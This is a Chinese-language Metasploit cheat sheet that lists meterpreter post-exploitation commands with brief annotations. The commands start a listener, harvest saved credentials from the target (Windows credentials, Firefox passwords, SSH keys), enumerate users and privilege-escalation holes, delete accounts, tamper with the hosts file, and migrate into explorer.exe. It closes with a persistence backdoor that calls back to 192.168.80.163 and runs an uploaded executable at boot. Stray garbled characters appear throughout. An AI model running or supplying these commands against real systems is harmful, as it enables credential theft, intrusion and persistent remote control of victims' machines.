msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set exitonsession false ?運行這條命令后轩缤,4444端口會一直處于偵聽狀態(tài)
msf exploit(handler) > exploit -j -z
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.80.0/24
meterpreter > run post/windows/gather/credentials/credential_collector ?目標主機上的身份認證信息
meterpreter >? run post/windows/gather/enum_applications ?目標主機安裝了哪些軟件
meterpreter >? run post/windows/gather/enum_logged_on_users ?目標主機當前在線的用戶(SID=500是管理員賬號)
meterpreter > run post/windows/gather/enum_snmp ?枚舉snmp信息
meterpreter >? run post/multi/recon/local_exploit_suggester ?目標主機存在哪些本地提權(quán)漏洞
meterpreter > run post/windows/manage/delete_user USERNAME=a? 刪除目標主機的a賬號
meterpreter > run post/multi/gather/env? 目標主機環(huán)境變量信息
meterpreter > run post/multi/gather/firefox_creds? 目標主機火狐瀏覽器保存的賬號密碼
meterpreter > run post/multi/gather/ssh_creds? 目標主機保存的ssh身份驗證信息(linux系統(tǒng)常用)
meterpreter > getpid
meterpreter > ps
meterpreter > migrate -N explorer.exe ?將meterpreter進程轉(zhuǎn)移到explorer.exe中
自動執(zhí)行post模塊
實例:獲得shell后,自動執(zhí)行migrate命令來遷移進程
msf exploit(handler) > show advanced ?查看高級參數(shù)
msf exploit(handler) > set autorunscript migrate -n explorer.exe
msf exploit(handler) > exploit
或者使用post/windows/manage/migrate模塊谊囚,同樣能達到遷移進程的效果急侥。
meterpreter > info post/windows/manage/migrate? 查看模塊的詳細信息
msf exploit(handler) > set autorunscript post/windows/manage/migrate name=explorer.exe spawn=false
msf exploit(handler) > exploit
msf exploit(handler) > set initialautorunscript post/windows/manage/migrate ?成功exploit后,自動執(zhí)行migrate模塊(before AutoRunScript)
meterpreter > run post/windows/manage/inject_host ip=1.1.1.1 domain=www.baidu.com ?修改目標主機的host文件
這些只是一小部分post模塊姚垃,在meterpreter下按兩下tab鍵念链,有200多個post模塊,可以多嘗試使用积糯!
后門
meterpreter > run persistence -X -i 5 -p 1234 -r 192.168.80.163 ?向目標主機的注冊表添加鍵值钓账,使后門程序開機自啟
msf > resource handler.rc? 可以直接獲得目標主機的shell,注意此時lport是1234
meterpreter > run persistence -X -i 5 -p 77 -T /root/ccc.exe -r 192.168.80.163? 用-T選項指定上傳的執(zhí)行程序是ccc.exe